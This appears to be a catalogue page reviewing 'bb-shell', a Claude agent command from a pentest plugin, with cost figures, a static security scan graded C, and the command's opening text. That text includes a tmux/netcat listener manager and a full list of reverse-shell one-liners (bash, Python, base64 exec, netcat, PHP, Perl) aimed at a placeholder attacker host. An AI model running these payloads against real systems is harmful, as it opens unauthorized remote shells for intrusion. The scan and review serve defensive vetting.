Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/allsmog/blackbox-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-shell)<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-shell"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-shell/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-shell"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-shell.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00033 | $0.01042 |
| Opus 5.5 | $0.00013 | $0.00417 |
| Sonnet 5.5 | $0.00007 | $0.00208 |
| Haiku 4.5 | $0.00003 | $0.00104 |
Grade C, and why
bb-shell scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Encoded or obfuscated payloadhighSupply chain
base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.
# Then run on target with: python3 -c "import base64;exec(base64.b64decode('<B64>'))" How it starts
The opening of the file, as written. The whole thing — 123 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Reverse Shell Manager
Overview
Manage reverse shell connections using tmux for session persistence. This allows you to:
- Start netcat listeners in background tmux sessions
- Receive and manage multiple shell connections
- Send commands to active shells
- Persist shells across Claude sessions
Actions
Start Listener
Start a new tmux listener session:
# Create listener on specified port (default: 4444)
tmux new-session -d -s shell_<PORT> "nc -lvnp <PORT>"
# Verify listener is running
tmux ls | grep shell_
ss -tlnp | grep <PORT>
List Sessions
View all active shell sessions:
tmux ls | grep -E "shell_|listener"
Attach to Shell
Interact with an active shell:
# View current output (non-blocking)
tmux capture-pane -t shell_<PORT> -p | tail -50
# Send command to shell
tmux send-keys -t shell_<PORT> "<COMMAND>" Enter
# Wait and capture output
sleep 2 && tmux capture-pane -t shell_<PORT> -p | tail -30
Kill Session
Terminate a shell session:
tmux kill-session -t shell_<PORT>
Reverse Shell Payloads
Bash
bash -i >& /dev/tcp/<LHOST>/<PORT> 0>&1
Python
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<LHOST>",<PORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
Python Base64 (avoids escaping issues)
# Generate base64 payload - encode your python reverse shell
# Then run on target with: python3 -c "import base64;exec(base64.b64decode('<B64>'))"
Netcat
nc <LHOST> <PORT> -e /bin/bash
# Or with mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <PORT> >/tmp/f
PHP
php -r '$sock=fsockopen("<LHOST>",<PORT>);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
Perl
perl -e 'use Socket;$i="<LHOST>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");system("/bin/sh -i");};'
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 123 lines · 33 tokens per session scan C 3b5f3e585358
bb-shell is a command published in the GitHub repository allsmog/blackbox-claude-plugin (6 stars, last pushed 8mo ago), licensed MIT. It adds 33 tokens to every session and 1,042 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it C with 1 finding (encoded or obfuscated payload). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
pentest
Activate pentest mode — displays ASCII art, configures session isolation, collects engagement scope, then OWNS the engagement: pre-flight, recon, planning (via the pentester-orchestrator planner), executor dispatch, a time-budget quota loop, aggregation, and report generation.
pentest-scope
Define or update engagement scope — saves scope to disk without launching a pentest. Can be run before or during an engagement. If a pentest is active and the target changes drastically, warns the operator and suggests a new engagement.
pentest-attacks
Define the attack profile for an engagement — select which attack categories and skills to use. Saves to .pentest-attacks.json. If run before /pentest:pentest, the orchestrator will respect the selection. If run standalone, does not launch a pentest.
pentest-kali
Connect to a Metasploit-Kali Server (MKS) REST API — verifies connectivity, discovers available Kali tools, and configures agents to prefer MKS endpoints over local Bash equivalents.
pentest-exit
Close pentest session — summarizes findings, ensures outputs are saved, lifts isolation, and prompts for /clear.
unpack
Detect and remove binary packing/protection.